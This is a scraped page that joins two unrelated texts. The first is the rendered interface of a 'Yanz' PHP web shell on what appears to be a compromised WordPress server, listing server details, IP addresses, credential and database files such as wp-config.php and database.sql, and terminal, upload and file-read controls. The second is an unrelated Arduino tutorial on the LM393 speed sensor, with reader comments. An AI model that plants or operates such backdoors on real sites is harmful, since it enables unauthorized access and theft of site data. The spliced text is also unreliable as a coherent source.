Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux s35.wpx.net 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Thu Apr 23 10:43:43 UTC 2026 x86_64
8.0.30 Safe mode: OFF Datetime: 2026-09-28 21:56:58
7008.76 GB Free: 3914.49 GB (55%)
/home/electron3/public_html/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
198.60.193.35
Client IP:
216.73.216.20
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-09-28 17:06:20drwxr-xr-xRename Touch
[ .usermin ]dir2024-09-05 07:12:34drwxr-xr-xRename Touch
[ 3cfc6 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ a8f5d ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ af889 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ eb364 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ ef8b8 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ js ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ tools ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ wp-admin ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-content ]dir2026-09-28 11:13:17drwxr-xr-xRename Touch
[ wp-includes ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-snapshots ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
.backup0 B2024-09-09 07:19:14-rw-r--r--Rename Touch Edit Download
.htaccess617 B2026-08-10 03:53:18-rw-r--r--Rename Touch Edit Download
.s3backupstatus87 B2024-09-05 07:24:30-rw-r--r--Rename Touch Edit Download
.synthquota117 B2024-09-05 07:18:11-rw-r--r--Rename Touch Edit Download
.user.ini0 B2024-09-09 15:05:09-rw-r--r--Rename Touch Edit Download
.user.ini~bckp95 B2024-09-05 07:21:22-rw-r--r--Rename Touch Edit Download
761baa864110.php375 B2026-08-10 01:47:54-rw-r--r--Rename Touch Edit Download
accesson.php374 B2026-09-28 21:56:58-rw-r--r--Rename Touch Edit Download
adman.177.txt5 B2026-08-09 20:59:44-rw-r--r--Rename Touch Edit Download
adman.198.txt5 B2026-08-09 21:49:35-rw-r--r--Rename Touch Edit Download
adman.369.txt6 B2026-08-09 21:57:44-rw-r--r--Rename Touch Edit Download
adman.623.txt6 B2026-08-09 20:54:34-rw-r--r--Rename Touch Edit Download
adman.831.txt6 B2026-08-09 21:01:55-rw-r--r--Rename Touch Edit Download
adman.908.txt6 B2026-08-09 21:50:38-rw-r--r--Rename Touch Edit Download
ads.txt5.58 KB2026-02-10 14:31:08-rw-r--r--Rename Touch Edit Download
ca.html30.13 KB2026-09-28 17:06:20-rw-r--r--Rename Touch Edit Download
database.sql326.76 MB2026-09-28 11:34:13-rw-rw-r--Rename Touch Edit Download
databasescan.txt357 B2026-09-28 11:35:16-rw-rw-r--Rename Touch Edit Download
electronicshub.org.ads.txt12.27 KB2024-12-23 09:13:13-rw-r--r--Rename Touch Edit Download
favicon.ico14.73 KB2024-09-05 07:18:18-rw-r--r--Rename Touch Edit Download
function_calls_with_plugins.log734.92 MB2025-06-11 08:20:44-rw-r--r--Rename Touch Edit Download
index.html87.54 KB2026-09-28 17:06:20-rw-r--r--Rename Touch Edit Download
index.php405 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
license.txt19.44 KB2026-01-01 00:07:29-rw-r--r--Rename Touch Edit Download
litespeed.conf1.18 KB2025-06-10 14:43:27-rw-r--r--Rename Touch Edit Download
readme.a8fc87ce3030c5693b571a9fcdc9feb1.html7.25 KB2025-09-30 22:56:20-rw-r--r--Rename Touch Edit Download
readme.html7.23 KB2026-07-06 16:51:48-rw-r--r--Rename Touch Edit Download
robots.txt127 B2024-09-05 07:18:04-rw-r--r--Rename Touch Edit Download
scan.txt4.52 KB2026-09-28 12:34:58-rw-r--r--Rename Touch Edit Download
sql_query.txt6.68 KB2024-09-05 07:18:03-rw-r--r--Rename Touch Edit Download
wp-activate.php7.54 KB2026-07-07 03:06:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-06-14 14:11:16-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2025-08-12 14:47:31-rw-r--r--Rename Touch Edit Download
wp-config.php3.72 KB2025-06-11 13:03:47-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2024-08-02 19:40:16-rw-r--r--Rename Touch Edit Download
wp-headre.php17.27 KB2026-05-23 03:06:47-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2025-04-30 12:52:29-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2024-03-11 10:05:15-rw-r--r--Rename Touch Edit Download
wp-login.php51.30 KB2026-08-11 06:18:50-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-02 22:25:26-rw-r--r--Rename Touch Edit Download
wp-settings.php32.38 KB2026-07-22 17:21:49-rw-r--r--Rename Touch Edit Download
wp-signup.php34.26 KB2026-08-06 15:38:50-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.27 KB2026-07-31 13:08:52-rw-r--r--Rename Touch Edit Download
wpx-fp-report.txt254.94 KB2026-09-28 12:38:41-rw-rw-r--Rename Touch Edit Download
xmlrpc.php3.13 KB2024-11-08 15:52:18-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

LM393 Speed Sensor: Arduino Connection Guide (Boost Your Project)

How to Interface LM393 Speed Sensor with Arduino?

In this project, I will talk about LM393 Speed Sensor Module, how this module works and helps in determining the speed of a rotating object and finally I will show you how to Interface LM393 Speed Sensor with Arduino and measure the speed of a motor.

Interfacing LM393 Speed Sensor with Arduino Image 1

Introduction

A speed sensor is a type of tachometer that is used to measure the speed of a rotating object like a motor. I have already implemented a CONTACTLESS DIGITAL TACHOMETER but that was using 8051 Microcontroller.

There are many types of Speed Sensor like Hall-effect based sensors, Magnetoresistive Speed Sensor, Eddy Current based speed sensor, etc. In this project, I have used a pretty inexpensive Infrared based Speed Sensor.

Irrespective of the type of implementation, all speed sensor serves the same purpose: help us determining the rotational speed of a rotating object.

A Brief Note on LM393 Speed Sensor Module

In order to measure speed of a motor using Arduino, I have used an LM393 Speed sensor with Arduino. The LM393 Speed Sensor Module is basically an Infrared Light Sensor integrated with LM393 Voltage Comparator IC.

The following image shows the speed sensor module I have used.

Interfacing LM393 Speed Sensor with Arduino Sensor Front

If you are familiar with the designs of sensor, then this sensor can also be divided into two parts: the sensor part and the control part.

The sensor part of the LM393 Speed Sensor module consists of an Infrared LED and an NPN Photo Transistor. These two components are placed facing each other is a special housing made of black thermoplastic.

This special housing ensures that the Photo Transistor receives light only from the Infrared LED and all the external source of light is eliminated.

Interfacing LM393 Speed Sensor with Arduino Sensor Back

Coming to control unit, it is made up of LM393 Voltage Comparator and a few passive electronic components. The signal from the photo transistor is given to the LM393 and based on the presence or absence of an object between the Infrared LED and the Photo Transistor, the Output of the LM393 IC will either be HIGH or LOW.

More details is explained in the working.

Schematic of LM393 Speed Sensor Module

If you are interested in understanding the LM393 Speed Sensor Module a little bit more, then its schematic might be helpful. The following image shows the schematic of the LM393 based Infrared Sensor that is used as a speed sensor in this project.

Interfacing LM393 Speed Sensor with Arduino LM393 Sensor Schematic

Interfacing LM393 Speed Sensor with Arduino


As mentioned earlier, the main aim of this project is to measure the rotational speed of a motor using an Arduino. In order to measure the speed of a rotating device like a simple DC Motor for example, we need a special device like a speed sensor.

So, interfacing an LM393 Speed Sensor with Arduino would be helpful for the project. This interface can also be useful in several robotic application that are implemented using Arduino as the main controller.

Circuit Diagram

The circuit diagram for the interface of LM393 Speed Sensor with Arduino is shown in the following image.

Interfacing LM393 Speed Sensor with Arduino Circuit Diagram

Components Required

  • Arduino UNO [Buy Here]
  • LM393 Speed Sensor Module 
  • 16×2 LCD Display [Buy Here]
  • 5V Geared DC Motor 
  • Encoder Wheel 
  • Speed Controller for Motor (Optional) 
  • Connecting Wires 
  • Breadboard 

Circuit Design

First, connect the VCC and GND of the LM393 Sensor to +5V and GND of Arduino. The OUT or SIG pin of the sensor is connected to Pin 11 of Arduino.

Coming to the LCD, its RS and E pins are connected to Pins 7 and 6 of Arduino. The data pins D4 – D7 are connected to Pins 5, 4, 3 and 2 of Arduino.

Rest of the connections are as per the circuit diagram.

I have made a small setup with a piece of cardboard to fix the LM393 Sensor and Mount the Encoder Wheel on the top so that the wheel passes through the gap provided in the housing i.e. between the Infrared LED and NPN Photo Transistor.

Interfacing LM393 Speed Sensor with Arduino Sensor Encoder Wheel

The encoder wheel consists of 20 holes (this number becomes important in the program part).

Code

The code for the project how to Interface LM393 Speed Sensor with Arduino is given below.

Working

The encoder wheel (wheel with holes as shown in the image) is fixed to the geared motor and is placed in the slot of the sensor. Since the wheel is fixed to the motor, one rotation of the motor implies one rotation of the wheel.

Coming to the sensor, the Infrared LED and the NPN Photo Transistor are placed directly facing each other. When there is no object in the slot, the light from the Infrared LED always falls on the Photo Transistor.

Now, as I have mentioned that the wheel has 20 holes in it, so whenever the wheel makes one rotation, the infrared light from the IR LED is obstructed for 20 times from falling on the photo transistor.

Applications

  • Robotics
  • Speed Sensing
  • Contactless Switching
  • Printers, Scanners, Copiers
  • Motor Drivers

6 Responses

  1. I want to use this for SMT parts. I will be using the gear holes on the SMT tape block/unblock sensor to count. I will need it to count 1 for every 2 holes that pass through. Would I just need to change this line of code?
    rps=(temp/20); Change to rps=(temp/2);

    George

  2. @sai, works same on 3v3 esp and stm32f103c8t6 (blue pill)
    @george just count on mod 2

    @author, get 40 transitions. Cnt high -> low and low-> high.

Leave a Reply

Your email address will not be published. Required fields are marked *